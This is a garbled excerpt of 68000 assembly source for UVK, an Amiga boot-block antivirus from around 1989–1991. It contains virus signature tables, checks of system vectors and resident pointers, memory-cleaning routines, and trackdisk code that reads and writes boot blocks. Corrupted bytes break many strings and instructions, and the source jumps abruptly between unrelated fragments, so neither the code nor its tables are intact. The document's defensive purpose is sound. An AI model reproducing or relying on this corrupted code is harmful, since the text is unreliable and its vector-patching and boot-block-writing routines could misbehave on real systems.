Killer",$9b,"0;33;40m" dc.b " (CLI instruction)",$9b,"0;31;40m",$a dc.b $a9," 1989/1990 By Amiguy",$a,$a dc.b "Usage : UVK [D|d] Date of this version.",$a dc.b " [P|p] Integrated virus hunter.",$a dc.b " [?|H|h] This text.",$a,$a,-1 UVKVHu: dc.b $a,$9b,"1;33;40m" dc.b "UVK Virus hunter",$9b,"0;31;40m",$a dc.b $a9," 1989/1990 q ^By Amiguy",$a,$a,-1 IllVali:dc.b " WARNING !!! Illegal Disk-Validator !",-1 NorVali:dc.b " Normal Disk-Validator",-1 PCmdok: dc.b $a,"Everything seems to be all right ...",$a,$a,-1 CoolCT: dc.b $a,"Memory cleaned. Everything is now all right",$a,$a,-1 Oranget:dc.b $9b,"0;33;40m",-1 Orange2:dc.b $a,$9b,"0;33;40m",-1 dollar: dc.b "$",-1 Return: dc.b $a,-1 DRet: dc.b $a,$a,-1 Normalt:dc.b $9b,"0;31;40m",-1 Cls: dc.b $c,-1 Cls2: dc.b $9b,"0 p",-1 Delt: dc.b 8," ",8,-1 Detect: dc.b " deqA"atected ",-1 Detect2:dc.b " detected",$a,-1 DetMem: dc.B " detected in memory",$a,$a,-1 Reco: dc.b " recognized",$a,-1 Date: dc.b " Release Date : 6th July 91",$a,-1 clrprot:dc.b " lear or eep it in memory ?",$a,-1 notft: dc.b " File not found",-1 notftLi:dc.b " File not found",$a,-1 Sumt: dc.b " Recalculate Bootblock Checksum ...",-1 Wr: dc.b " Writing new checksum ...",-1 Namet: dc.b $c,$a," Please, enter filename ",$a,$a,$9B," p"," ",-1 DisRamt:dc.b $c,$a," Please, enter theqڤ+ address",$a,$a,$9B," p"," " dc.b "$",-1 Volut: dc.b $c,$a," Please, enter volume name ",$a,$a,$9B," p"," ",-1 patht: dc.b $c,$a," Please, enter path name ",$a,$a,$9B," p"," ",-1 Bordt: dc.b $c,$a," Do you want your window to have a border ? (y/n)" dc.b $a," (No = BorderLess).",$9b,"0 p",-1 MakPT: dc.b $c,$a," Please, enter the name of the CLI Window" dc.b $a,$a,$9B," p"," ",-1 VerifT: DC.B $9B,"0 p",$c," Verifying memory ...",$a,$a,-1 IntVt: dc.b "- Interrupt Vectors",$a,-1 Residq: dc.b "- Resident pointers",$a,-1 RamCt: dc.b "- Known viruses",$a,-1 ResCt: dc.b "- Residents Prg",$a,-1 ExbOCt: dc.b "- Execbase Offsets",$a,-1 Doschk: dc.b "- Dos Offsets",$a,-1 Intchk: dc.b "- Intuition Offsets",$a,-1 gfxchk: dc.b "- Graphics Offsets",$a,-1 Exbict: dc.b "- Execbase Interrupts",$a,-1 BegIOT: dc.b ">Begin IO (Trackdisk) ....... : $",-1 CloIOT: dc.b ">Close IO (Trackdisk) ....... : $",-1 BegIOT2:dc.b ">Begin IO (Console) ......... : $",-1 Rastt: dc.b ">Raster .....qrjn($34a,$8,$20bc4e71,$4e716100,0,buto131 dc.l $3cf,$2a,$303c0d53,$1210e419,0,cancer dc.l $fd,$1d4,$0c4603f2,$67d42605,0,CCCP dc.l 0 ValiTab:dc.l $24,$47ec04f0,$240be48a,0,NorVali dc.l $32,$7065323c,$06c1b118,0,Saddam dc.l $32,$708a323c,$06b1b118,0,ReturnL dc.l 0 FileTab:dc.l 0,"FORM",8,"ILBM",iffilbm dc.l -1 iffilbm:dc.b " IFF picture",-1 iffsoun:dc.b " IFF sound",-1 crunche:dc.b " crunched file",-1 datafil:dc.b " data file",-1 NotIns: dc.b " Not Installed Disk",-1 Kick: dc.b " qsHLed off<",0 ContLed:bset #1,$bfe001 nop Cleaner:bra.B ContCl dc.b ">Ram Cleaner<",0 Kill: move.l d7,$180(a5) moveq #50,d3 WVbl1: cmp.b #$f0,$6(a5) bne.s WVbl1 WVbl2: cmp.b #$ff,$6(a5) bne.s WVbl2 dbf d3,WVbl1 not.l $24(a6) movem.l (a7)+q]2 I,d0-d7/a0-a6 move.l #$fc00d2,$80 trap #0 rts ExecExc:dc.w -550,-448,-442,-436,-412,-400,-196 ContCl: movem.l d0-d7/a0-a6,-(a7) move.l $4.w,a6 lea $dff000,a5 move.l #$f000f00,d7 tst.l 42(a6) bne.s Kill tst.l 46(a6) bne.s Kill tst.l 546(a6) bne.s Kill tst.l 550(a6) bne.s Kill moveq #0,d2 move.w #-634,d2 lea ExecExc(pc),a0 ExecLp: addq.w #6,d2 cmp.w (a0),d2 bne.s ExecNEx addq.l #2,a0 bra.s ExecLp ExecNEx:move.l 0(a6,d2.w),d1 cmp.l #$fc0000,d1 blo.W Kill cmp.w #-4q^3l,d2 bne.s ExecLp lsr.l #3,d7 move.l d7,$180(a5) movem.l (a7)+,d0-d7/a0-a6 nop TestPal:bra.s ContPal dc.b ">Test Pal<" ContPal:move.l 4.w,a6 cmp.l #$3c,530(a6) bne.s OkPal move.l #$fc00d2,$80 trap #0 rts OkPal: nop NoFMem: bra.s ContNF dc.b ">NoFastMem<",0 ContNF: move.l 4.w,a6 move.l #$20004,d1 OkAlM: jsr -216(a6) tst.l d0 beq.s OkAvM jsr -198(a6) tst.l d0 bne.s OkAlM OkAvM: nop NoEDr: bra.s ContNDr dc.b ">No Drives<",0 ContNDr:move.l 4.w,a6 lea DiskRes(pc),a1 q_4BE5 jsr -498(a6) tst.l d0 beq.s ErrNdr move.l d0,a0 lea 52(a0),a0 moveq #-1,d0 move.l d0,(a0)+ move.l d0,(a0)+ move.l d0,(a0) bra.s ErrNDr DiskRes:dc.b "disk.resource",0 ErrNDr: nop NoBor: bra.s ContNBo dc.b ">No Border<",0 ContNBo:nop MakePal:bra.s ContMP dc.b ">Make Pal<" ContMP: lea Intuition(pc),a1 move.l 4.w,a6 clr.l d0 jsr -408(a6) lea Intbase(pc),a0 move.l d0,(a0) move.l d0,a0 lea OpenW+2(pc),a1 move.l -202(a0),(a1) move.l #$10003,d1 move.l #ENewOpW-NewOpW,q`5gud0 jsr -198(a6) move.l d0,a1 lea NewOpW(pc),a0 move.l #ENewOpW-NewOpW,d1 CopyLp: move.b (a0)+,(a1)+ dbf d1,CopyLp bsr.W SetFunc lea Intbase(pc),a0 move.l (a0),a1 jsr -414(a6) bra.W ENewOpW NewOpW: movem.l d0-d7/a1-a6,-(a7) move.l a0,-(a7) lea OpenW+2(pc),a0 move.l (a0),d0 bsr.s SetFunc move.l (a7)+,a0 NbLine: move.w #256,6(a0) lea MakPB(pc),a1 move.l a1,26(a0) lea Border(pc),a3 tst.w (a3) beq.B NoBord clr.l 26(a0) clr.l 14(a0) move.b #$18,16(a0) NoBord: movem.lqa6-7 (a7)+,d0-d7/a1-a6 OpenW: dc.w $4ef9,0,0 Intuition:dc.b "intuition.library",0 Intbase:dc.l 0 Border: dc.w 0 MakPB: dc.b "AmigaDOS" blk.b 22,0 SetFunc:move.l 4.w,a6 lea Intbase(pc),a0 move.l (a0),a1 move.l #-204,a0 jsr -420(a6) ;Setfunc rts ENewOpW:nop IrqPr: bra.s ContIrq dc.b ">IRQ Protector<",0 ContIrq:movem.l d0-d7/a0-a6,-(a7) move.l $4.w,a6 moveq #6,d0 moveq #1,d1 jsr -198(a6) ;allocmem move.l d0,a0 beq.s IrqErr move.w #$4ef9,(a0)+ move.l -406(a6),(a0) move.l a6qb7+M,a1 move.l #-408,a0 jsr -420(a6) ;setfunction IrqErr: movem.l (a7)+,d0-d7/a0-a6 nop CreaPub:bra.s ContPub dc.b " >This Bootblock was created with UVK< " ContPub:nop BootList:dc.l $0c,$41fa0196,$0c506f6d,CCSB dc.l $64,$5c9e004a,$b0a0829c,NoExpan dc.l $20,$428741fa,$ffe8b1fc,Mem12 dc.l $40,$0009001c,$4eaefe38,Girl dc.l $50,$48e7fffe,$337c0009,Ass dc.l $60,$02c000df,$f18033fc,Sys30 dc.l $60,$0f9000df,$f18033fc,Sys40 dc.l $398,$802c332e,$3020802c,Sys50 dc.l $6c,$0226671a,$qc8@40cae0007,Sys51 dc.l $1b0,$000000f0,$00f00000,Sys53 dc.l $1b0,$0eca00f0,$00f00eca,Sys54 dc.l $78,$2c780004,$42ae002e,Sys61 dc.l $312,$fe384e75,$003000bf,Sys65 dc.l $1b0,$0ca90000,$04000024,Sys64 dc.l $0C,$43FA00F4,$4EAEFFA0,NoFast dc.l $24,$203c0000,$1f40223c,CoppV dc.l $0c,$0c6e0020,$00146f00,Random dc.l $0c,$43fa0136,$70004eae,XCopy dc.l $20,$42862a3c,$0027f000,Mem13 dc.l $14,$48e7fffe,$237c0005,GxTNF dc.l $18,$00804e40,$46fc2700,BotCop dc.l $10,$4eba0036,$4cdf7qd9fff,Avirex dc.l $14,$0004202e,$02260c80,VirTer dc.l $18,$000a0016,$66000036,VDC13 dc.l $18,$000a0016,$662e6120,VDC16 dc.l $60,$d0ae0032,$4a806600,VDC17 dc.l $60,$7000202e,$002ed0ae,VDC20 dc.l $02,$4b49,$0,Kick dc.l $10,$0,$0,NotIns dc.l $0c,$2c780004,$41fa00b2,Bootleg dc.l $48,$00ff20d9,$51cffffc,PalSys dc.l $150,$feb043f9,$007fa00,VirSla dc.l $60,$43fa00bc,$4eaefe68,MegaK dc.l $30,$3b7c0f00,$01806000,MegaB dc.l $0c,$43fa020c,$4eaeffa0,Diet dc.l $10,$0c6e0020,$00146f00,qe:Synd dc.l $10,$027a6704,$4eec0014,Obse dc.l $30,$00326618,$4aae0226,Destr dc.l $34,$223c0001,$0002203c,Deluxe dc.l $40,$23c900df,$f08033c0,PvlSnd dc.l $6a,$48e7fffe,$42b90000,Tritech dc.l $1e,$2c562c56,$23ce0006,UtilB2 dc.l $34,$33fc8380,$00dff096,BootWr dc.l $18,$41f900df,$f000317c,ColorB dc.l $3a,$3e3c00f0,$202e002e,BlizP dc.l $40,$70ff4640,$48404600,Mia dc.l $40,$207a001a,$227a001a,AddrZ dc.l $40,$43fa00da,$4eaefe68,FastRZ dc.l $50,$2c780004,$4eaefe62,PalZ dc.l $20,$qf%%8b0c6e0008,$003e6606,Ccs3 dc.l $30,$51c8fffc,$45ed0542,DevW dc.l $20,$427900df,$f1dc4e75,EcsB dc.l $64,$23ee0032,$00051000,Shin8 dc.l $b4,$23c800df,$f080363c,StarsB dc.l $70,$02382d49,$003243f9,UtilB5 dc.l $70,$026c2d49,$003243f9,UtilB61 dc.l $28,$43f90050,$0000203c,RipB dc.l $26,$21c00100,$d0bc0000,Genera dc.l $3c,$4eaefe62,$2c780004,VirAler dc.l $08,$8721cbf9,$43fa0018,SCAPro dc.l $14,$4e55ffd2,$203c0000,Stuer dc.l $50,$23fc1b41,$040000df,VSMenu dc.l $5c,$23fc1b41,$04000qQ?h move.l #-220,d5 move.l Dosbase,a6 DosCLp: lea 0(a6,d5.l),a0 lea XenAdr,a4 moveq #2,d0 XenALp: move.l (a4)+,a1 add.l #2,a1 cmp.l a0,a1 beq.s XenErr dbf d0,XenALp move.l 0(a6,d5.l),d3 and.l #$ff000000,d3 cmp.l #$60000000,d3 beq.s DosVOk XenErr: cmp.l #250,d2 bne.s PontDos move.l #DosChk,d2 bsr.W Ecrire2 PontDos:move.l #CorVec,d2 bsr.W Ecrire2 lea 0(a6,d5.l),a0 move.l a0,d0 sub.l #2,d0 bsr.W Conv move.l #Convtxt+2,d2 moveq #6,d3 bsr.W Ecrire move.l d5,d0 sub.lqT? i #2,d0 neg.l d0 lea DosbTN+11,a0 bsr.W Conv2 move.l #DosbTN,d2 bsr.w Ecrire2 DosVOk: add.l #6,d5 cmp.l #2,d5 bne.W DosCLp DosCErr:rts Intvec: move.l #250,d2 moveq #0,d3 move.b #$31,d4 move.l #$64,a2 intvclp:move.l (a2),d1 cmp.l #$fc0000,d1 bhi.s okintv cmp.l #250,d2 bne.s nfintv move.l #intvt,d2 bsr.W Ecrire2 nfintv: lea intlevt+17,a1 move.b d4,(a1) move.l #intlevt,d2 bsr.W ecrire2 move.l (a2),d0 bsr.W conv move.l #convtxt+2,d2 bsr.W ecrire2 okintv: add.b #1,qU@Bd4 add.l #4,a2 cmp.l #$80,a2 bne.s intvclp endint: rts IoVect: move.l 4.w,a6 lea 350(a6),a0 lea Trkdisk,a1 jsr -276(a6) move.l d0,Iodevice move.l d0,a0 move.l -28(a0),d0 cmp.l #$fc0000,d0 bhi.s OkBegIo move.l #BegIoT,d2 bsr.W Ecrire2 move.l -28(a0),d0 bsr.W Conv move.l #ConvTxt+2,d2 bsr.W Ecrire2 Okbegio:move.l Iodevice,a0 move.l -10(a0),d0 cmp.l #$fc0000,d0 bhi.s OkCloIo move.l #CloIoT,d2 bsr.W Ecrire2 move.l -10(a0),d0 bsr.W Conv move.l #ConvTxt+2,d2 bsrqVA~4.W Ecrire2 OkCloIo:move.l Iodevice,a0 add.l #140,a0 ;console device move.l (a0),a0 move.l -28(a0),d0 cmp.l #$fc0000,d0 ; bhi.s OkBegIo2 move.l #BegIoT2,d2 bsr.W Ecrire2 move.l -28(a0),d0 bsr.W Conv move.l #ConvTxt+2,d2 bsr.W Ecrire2 OkbegIo2:rts Rastchk:move.l 4.w,a6 move.l $90(a6),a1 move.l (a1),a1 lea $12(a1),a0 move.l a0,Raster move.l (a0),d0 cmp.l #$fc0000,d0 bhi.s EndRast move.l #RastT,d2 bsr.W Ecrire2 move.l (a0),d0 bsr.W Conv move.l #ConvTxt+2,d2 bsr.qWBW Ecrire2 EndRast:rts ExbaseC:move.l #251,d2 move.l #-634,d4 ExecBC: move.l 4.w,a6 add.l #6,d4 cmp.l #2,d4 beq.B EndExBC move.l 0(a6,d4.l),d1 cmp.l #$fc0000,d1 bhi.s ExecBC lea ExcExb,a0 ExcExLp:cmp.l (a0)+,d4 beq.s ExecBC tst.l (a0) bne.s ExcExLp cmp.l #251,d2 bne.s NoLigne move.l #exboct,d2 bsr.W Ecrire2 clr.b exoflag Noligne:move.l 4.w,a6 move.l d4,d0 neg.l d0 add.l #2,d0 move.l #ExecbTn+14,a0 bsr.W Conv2 move.l 0(a6,d4),d0 bsr.W Conv move.l #ExecbTN,d2qXC>Q bsr.W Ecrire2 move.l #Convtxt+2,d2 bsr.W Ecrire2 bra.B ExecBC EndExBC:rts IntuiC: move.l #253,d2 move.l #-472,d4 IntBC: move.l Intuibase,a6 add.l #6,d4 cmp.l #2,d4 beq.B EndIntC move.l 0(a6,d4.l),d1 cmp.l #$fc0000,d1 bhi.s IntBC move.b #1,allright cmp.l #253,d2 bne.s NoLign move.l #IntChk,d2 bsr.W Ecrire2 NoLign: move.l Intuibase,a6 move.l d4,d0 neg.l d0 add.l #2,d0 move.l #IntbTn+14,a0 bsr.W Conv2 move.l 0(a6,d4),d0 bsr.W Conv move.l #IntbTN,d2 bsr.W EqYD,crire2 move.l #Convtxt+2,d2 bsr.W Ecrire2 bra.B IntBC EndIntC:rts ExbIChk:move.l #254,d2 move.l #88,d4 inteclp:move.l 4.w,a6 move.l 0(a6,d4),d1 tst.l d1 beq.s noalti cmp.l #$fc0000,d1 bhi.s noalti cmp.l #254,d2 bne.s pasretu move.l #exbict,d2 bsr.W ecrire2 pasretu:move.w d4,d0 move.l #execbtp+14,a0 bsr.W conv2 move.l #execbtp,d2 bsr.W ecrire2 move.l 4.w,a6 move.l 0(a6,d4),d0 bsr.s conv move.l #convtxt+2,d2 bsr.W ecrire2 noalti: add.l #12,d4 cmp.l #280,d4 bneqZE[.s inteclp inteend:rts conv: move.l a0,-(a7) move.l #convtxt,a0 move.l #7,d1 clconlp:move.b #$30,(a0)+ dbf d1,clconlp move.l #convtxt,a0 MOVE.L #7,D1 conlp: ROL.L #4,D0 MOVE.L D0,D2 AND.B #15,D0 CMP.B #9,D0 BLE.S conch ADDQ.B #7,D0 conch: ADD.B #$30,D0 MOVE.B D0,(A0)+ MOVE.L D2,D0 DBRA D1,conlp move.l (a7)+,a0 RTS normal: move.l #normalt,d2 bsr.W ecrire2 rts orange: move.l #oranget,d2 bsr.W ecrire2 rts conv2: addq #1,a0 divu #100,d0 add.b #$30,d0 move.b d0,(aq[0b=A0)+ clr.w d0 swap d0 divu #10,d0 add.b #$30,d0 move.b d0,(a0)+ clr.w d0 swap d0 add.b #$30,d0 move.b d0,(a0)+ rts conv3: divu #1000,d0 ;a0/d0 add.b #$30,d0 move.b d0,(a0)+ clr.w d0 swap d0 divu #100,d0 add.b #$30,d0 move.b d0,(a0)+ clr.w d0 swap d0 divu #10,d0 add.b #$30,d0 move.b d0,(a0)+ clr.w d0 swap d0 add.b #$30,d0 move.b d0,(a0)+ rts ;-------- Bootblocks -------- KillB: bra.s EKillB dc.b ">Here lies a virus. It was killed in cold blood" dc.b " by qFG#Sou,d2 bsr.W EcriClr bsr.W WaitRet bsr.W VerD0R bne.s EndLd move.l #Cls,d2 bsr.W Ecrire2 move.l #50,d3 move.l #NameT,d6 move.l #File2,d5 bsr.W Getname bsr.B ReadPrg bne.s EndLd move.l #DesTM,d2 bsr.W EcriClr bsr.W WaitRet clr.l d0 move.b Drm,d0 bsr.W OpenDr bsr.W WritB bne.w EndLd EndLd: bra.W MoveSub WritPrg:move.l Dosbase,a6 move.l #File2,d1 move.l #1006,d2 jsr -30(a6) ;open move.l d0,IBoot beq.s EndWrP move.l d0,d1 move.l Buffer,d2 move.l #1024,d3 qGH^Tjsr -48(a6) ;write move.l IBoot,d1 jsr -36(a6) ;close moveq #0,d0 EndWrP: rts Readprg:move.l Dosbase,a6 move.l #File2,d1 move.l #1005,d2 jsr -30(a6) ;open move.l d0,iboot beq.s EndRdP move.l d0,d1 move.l buffer,d2 move.l #1024,d3 jsr -42(a6) ;read move.l iboot,d1 jsr -36(a6) ;close moveq #0,d0 rts EndRdP: move.l #NotFt,d2 bsr.W EcriClr bsr.W wait moveq #-1,d0 rts Request:movem.l a0-a3,-(a7) move.l Conhandle,d7 move.l Dosbase,a6 move.l #Name3,d1 move.l qHIH#1005,d2 jsr -30(a6) move.l d0,Winhandle move.l d0,Conhandle move.l #BordT,d2 bsr.W Ecrire2 GetKRe: bsr.W KeyRead cmp.b #"y",d0 beq.s BordY cmp.b #"Y",d0 beq.s BordY cmp.b #"N",d0 beq.s BordN cmp.b #"n",d0 beq.s BordN bra.s GetKRe BordN: move.w #1,Border BordY: move.l Winhandle,d1 move.l Dosbase,a6 jsr -36(a6) move.l d7,Conhandle movem.l (a7)+,a0-a3 rts GetName:move.l d5,a0 ;d6=text/d3=max len/d5=buffer move.l d3,d0 subq #1,d0 GetNCLp:clr.b (a0)+ dbf d0,GetNCLpqIJs( move.l Conhandle,d7 move.l Dosbase,a6 move.l #Name2,d1 move.l #1005,d2 jsr -30(a6) move.l d0,Winhandle move.l d0,Conhandle GetNLp: move.l d6,d2 bsr.W Ecrire2 move.l d5,d2 move.l Winhandle,d1 jsr -42(a6) cmp.l d3,d0 bhi.s GetNLp move.l d5,a0 SRetLp: cmp.b #$a,(a0)+ bne.s SRetLp clr.b -1(a0) move.l Winhandle,d1 jsr -36(a6) move.l d7,Conhandle move.l #CurOff,d2 bsr.W Ecrire2 rts VerD0W: tst.b FlagDr bne.s PluDr bsr.W Protect bne.s VerD0E VerD0R: tst.b FlagDr qJKо bne.s PluDr bsr.W Drive bne.s VerD0E PluDr: moveq #0,d0 VerD0E: rts WaitRet:bsr.B keyread cmp.l #$0d,d0 bne.s waitRET rts Info: lea InfoList,a5 InfoLp: tst.l (a5) beq.s EndInfo move.l (a5),d2 bsr.W Ecrire2 InfWK: bsr.S KeyRead cmp.l #$d,d0 beq.s InfNxt cmp.l #"i",d0 bne.s NInfI1 bsr.W Amiguy NInfi1: cmp.l #"I",d0 bne.s NInfI2 bsr.W Amiguy NInfi2: cmp.l #"k",d0 bne.s NKeyP1 bsr.W KeyPage NKeyP1: cmp.l #"K",d0 bne.s InfoLp bsr.W KeyPage bra.s InfoLp InfNxt: addq #qKLb4,a5 bra.s InfoLp EndInfo:rts InfoList:dc.l InfT,InfT2,InfT3,0 Wait: moveq #50,D1 Wait2: move.l Dosbase,a6 jsr -198(a6) rts KeyRead:moveq #0,d0 move.l Dosbase,a6 move.l Conhandle,d1 move.l #Buf,d2 moveq #1,d3 jsr -42(a6) lea Buf,a0 move.b (a0),d0 rts ;routines test memoire RamChk2:move.l #ramct,d2 lea ramlist,a0 ramclp: move.l 4.w,a6 add.l (a0),a6 move.l (a6),a1 cmp.l #$0,a1 beq.s novram sub.l 4(a0),a1 move.l a1,a5 add.l 12(a0),a1 move.l (a1),d0 cmp.l 8(a0),dqLM2+V0 bne.s novram tst.l 16(a0) beq.s noksub move.l 16(a0),a2 jsr (a2) noksub: move.b #1,AllRight cmp.l #ramct,d2 bne.s nfirst move.l #ramct,d2 bsr.W ecrire2 nfirst: bsr.W orange move.l 20(a0),d2 bsr.W ecrire2 bsr.W normal move.l #found,d2 bsr.W ecrire2 move.l #locate,d2 bsr.W ecrire2 move.l a5,d0 bsr.W conv move.l #convtxt+2,d2 bsr.W ecrire2 novram: add.l #24,a0 tst.l (a0) bne.W ramclp Endramc:move.l irqopenlib,a0 cmp.l #" IRQ",-816(A0) bne.s endirqc bsr.W oqMN]:l"range move.l #IRQ,d2 bsr.W ecrire2 bsr.W normal move.l #found,d2 bsr.W ecrire2 move.l #locate,d2 bsr.W ecrire2 move.l IrqAdr,d0 bsr.W conv move.l #convtxt+2,d2 bsr.W ecrire2 endirqc:tst.b XenoF beq.s EndRChk2 bsr.W orange move.l #Xeno,d2 bsr.W ecrire2 bsr.W normal move.l #found,d2 bsr.W ecrire2 move.l #locate,d2 bsr.W ecrire2 move.l XenoAdr,d0 bsr.W conv move.l #convtxt+2,d2 bsr.W ecrire2 EndRChk2:rts lam2k: move.l #$600001d8,$17c(a5) ;routines ramkillvirqNO59us rts lam3k: move.l #$60000210,$164(a5) rts lam1k: move.l #$600001c6,$17c(a5) rts lam4k: move.l #$600001c6,$178(a5) rts lam5k: move.l #$600001bc,$18c(a5) rts dokk: move.w #$4e75,$2ac(a5) move.b #$f9,$151(a5) rts gadk: move.b #$8c,343(a5) rts revk: move.w #$600a,$1e8(a5) rts gxtk: move.w #$4e75,$35c(a5) rts nnamk: move.w #$4e75,$1f4(a5) rts ResChk2:clr.b firstf move.l #250,d2 move.l 4.w,a6 tst.l 46(a6) beq.s okcool move.b #1,firstf move.l #resid,d2 bsr.W ecrire2 mqOP@kKove.l #coolt,d2 bsr.W ecrire2 move.l 4.w,a6 move.l 46(a6),d0 bsr.W conv move.l #convtxt+2,d2 bsr.W ecrire2 okcool: move.l 4.w,a6 tst.l 42(a6) beq.s okcold tst.b protector bne.w noccold noccold:tst.b firstf bne.s rf1 move.b #1,firstf move.l #resid,d2 bsr.W ecrire2 rf1: move.l #coldt,d2 bsr.W ecrire2 move.l 4.w,a6 move.l 42(a6),d0 bsr.W conv move.l #convtxt+2,d2 bsr.W ecrire2 okcold: tst.b protector bne.s nocco move.l 4.w,a6 clr.l 46(a6) clr.l 42(a6) lea 34(aqP;N6),a0 clr.w d0 moveq #$17,d1 coollp: add.w (a0)+,d0 dbf d1,coollp not.w d0 move.w d0,(a0) nocco: move.l 4.w,a6 tst.l 550(a6) beq.W coolend tst.b firstf bne.s rf2 move.b #1,firstf move.l #resid,d2 bsr.W ecrire2 rf2: move.l #kicktt,d2 bsr.W ecrire2 move.l 4.w,a6 move.l 550(a6),d0 bsr.W conv move.l #convtxt+2,d2 bsr.W ecrire2 tst.b protector bne.s coolend move.l 4.w,a6 clr.l 546(a6) clr.l 550(a6) jsr -612(a6) move.l d0,554(a6) tst.b protector beq.s prokill 2R+. AutoAddRam/NofastMem/BigScreenTest, Destructor,",$a dc.b " ECS Pal, Shining8 Boot-Util I, Ripper, 'Copper VAmiga',",$a dc.b " Generation, VirusAlert 2.01, Peter Stuer Antivirus, SemTex 3.3," dc.b $a," SCA Protector, Viruscope boots (7), SupplyTeam, Boot-tune.",$a dc.b $a," Press to continue.",-1 Inft3:dc.b $c," and also the following ones :",$a,$a dc.b " Outlaws Ckecker, Starfire Checker, Quartex NoDrives, Clonk!",$a dc.b " Sabaudian, VCC Access forbidden, Filter Boot 1.012SJ, VCS 3.2,",$a dc.b " Thor Antivirus, CopyBootIII, SuperFly Checker, VCC NoFastMem.",$a dc.b $a,$a,$a," What UVK can do :",$a dc.b " +Check Ram/Disk, Recognize residents Prgs, Clean Ram/Disk,",$a dc.b " Restore/Display altered Vectors, Recalculate Checksum,",$a dc.b " Analyse a Bootcode, Print a bootblock, Create a bootcode ...",$a dc.b " +For Keys info, type 'K'. For Amiguy info, type 'I'.",$a,$a dc.b " === Only for Digital Arts version !!!! ===",$a dc.b $a," Press fo2T r the main menu.",-1 even Diskport: dc.l 0 dc.l 0 dc.w $0400 dc.l 0 dc.b 0 dc.b 31 dc.l 0 lh1: dc.l lh2 lh2: dc.l 0 dc.l lh1 dc.b 0 dc.b 0 Diskioreq: dc.l 0 dc.l 0 dc.b 5 dc.b 0 dc.l 0 dc.l diskport dc.w 48 dc.l 0 dc.l 0 dc.w 0 dc.w 0 dc.l 0 dc.l 0 dc.l 0 dc.l 0 dc.l 0 dc.l 0 TrkDisk:dc.b "trackdisk.device",0 File: blk.b 30,0 even ;diskvalid:blk.b 1848,0 dc.b "c/" File2: blk.b 50,0 devic: dc.w 0,0,0 ScrPrT: dc.b "UVK BootBlock Hardcopy",$a dc.b "~~~~~~~~~2UPn~~~~~~~~~~~~~",$a ScrPrE: Scr: blk.b 1024,0 ConvTxt:dc.b "00000000",$a,-1 AmiDos: dc.b "AmigaDOS" ValiNam:dc.b "L/Disk-Validator",0 Startup:dc.b "S/Startup-Sequence",0 LamName:dc.b $a0,$a0,$a0,$a0,$a0,0 ButoNam:dc.b $a0,$a0,$a0,$9b,$41,0 even InfoBuf:blk.b 40,0 SaveIo: blk.b 60,0 IntuiBase:dc.l 0 DosBase:dc.l 0 ConHandle:dc.l 0 ;handle fenetre raw WinHandle:dc.l 0 ;handle fenetre con ScrP: dc.l 0 Lock: dc.l 0 Flag: dc.l 0 PrtH: dc.l 0 XenoAdr:dc.l 0 XenAdr: dc.l 0,0,0 ;$c04ada,$c04a2Val62,$c04aa4 IrqAdr: dc.l 0 Key: dc.b 0 Buf: dc.b 0 ExOFlag:dc.b 0 Protector:dc.b 0 ;flag protector found RFlag: dc.b 0 ;flag resident FlagDr: dc.b 0 ;flag external drive 1=only df0: NotFound:dc.b 0 ;flag file not found FlagEcr:dc.b 0 ;flag ecriresub CrFlag: dc.b 0 ;flag create AutoF: dc.b 0 ;flag autochk DrS: dc.b 0 ;source DrD: dc.b 0 ;destination DrM: dc.b 0 ;drmove DrL: dc.b 0 ;drlink VirDia: dc.b 0 ;evaluation risque virus LoaDia: dc.b 0 ;evaluation loader PCmd: dc.b 0 ;flag 2W$ICprotector cmd XenoF: dc.b 0 ;xeno flag firstf: dc.b 0 EStrtUp:dc.b 0 RetFl: dc.b 0 EndFlag:dc.b 0 LinkFnd:dc.b 0 FileFnd:dc.b 0 AllRight:dc.b 0 DStep: dc.b 0 DirScan:dc.b 0 Ident: dc.b 0 even DriveC: dc.l 0 ;connected drives Buffer: dc.l 0 ;adr boot BufEnd: dc.l 0 ;adr fin boot ChkSum: dc.l 0 Ptr: dc.l 0 BufFWr: dc.l 0 StarBuf:dc.l 0 ;buffer startup StarLen:dc.l 0 ;len startup RealLen:dc.l 0 ;len file RealLBu:dc.l 0 ;buffer file Rd2Buf: dc.l 0 AdrVi: dc.l 0 LenVi: dc.l 0 Cool: dc2XF.l 0 Boots: dc.l 0 Mem: dc.l 0 FileInfo:dc.l 0 IrqOpenLib:dc.l 0 ;sauvegarde point entree irq OldOpenW:dc.l 0 KeyCpt: dc.l 0 Nameprog:dc.l 0 IBoot: dc.l 0 ;handle boot Inter: dc.l 0 ReturnCode:dc.l 0 Para: dc.l 0 ;ptr parametres cli LenPara:dc.l 0 ;len paramatres cli WbMsg: dc.l 0 ;msg workbench LenBB: dc.w 0 ;len built boot lenboot:dc.l 0 try1: dc.l 0 ;variables debugging try2: dc.l 0 try3: dc.l 0 try4: dc.l 0 iodevice:dc.l 0 ;ptr debut iodev raster: dc.l 0 ;ptr raster int param: 2+~dc.b "?" dc.b $a paraend: ponmlkjihg|{zyxwvutsr~}25qCZ%a1) move.l #1024,36(a1) move.l buffer,40(a1) move.l #0,44(a1) jsr -456(a6) tst.l d0 beq.s okread2 rts OkRead2:bsr.B motor moveq #0,d0 EndTrk: rts Writeb: bsr.W Opendrd Writb: bsr.B Drive bne.s Endwrit bsr.W Protect bne.s Endwrit move.l 4.w,a6 lea Diskioreq,a1 move.w #3,28(a1) move.l #1024,36(a1) move.l Buffer,40(a1) move.l #0,44(a1) jsr -456(a6) move.w #4,28(a1) move.l #1024,36(a1) move.l buffer,40(a1) move.l #0,44(a1) jsr -456(a6) bsr.B Motor moveq #0,d0qD[0 rts Endwrit:rts Motor: move.l 4.w,a6 lea Diskioreq,a1 move.w #9,28(a1) clr.l 36(a1) jsr -456(a6) rts MoveSub:tst.b AutoF bne.s EndMSub Move.l #MoveT,D2 bsr.w Ecrire2 MovSub: bsr.W Keyread cmp.b #"1",d0 beq.B Record cmp.b #"2",d0 beq.W Load cmp.b #"d",d0 beq.s chdrm cmp.b #"D",d0 beq.s chdrm cmp.b #"s",d0 beq.s chdrm cmp.b #"S",d0 beq.s chdrm bra.s t3m chdrm: lea Drm,a0 bsr.W NextDr move.b Drm,d0 add.b #$30,d0 lea MoveT,a0 move.b d0,25(a0) lea SouTM,a0 qEF move.b d0,20(a0) lea DesTM,a0 move.b d0,25(a0) bra.s MoveSub T3m: cmp.l #"3",d0 bne.s MovSub EndMSub:rts Record: move.l #SouTM,d2 bsr.W EcriClr bsr.W WaitRet clr.l d0 move.b Drm,d0 bsr.W OpenDr bsr.W ReadT bne.B EndRec move.l #Des,d2 bsr.W EcriClr bsr.W WaitRet bsr.W VerD0W 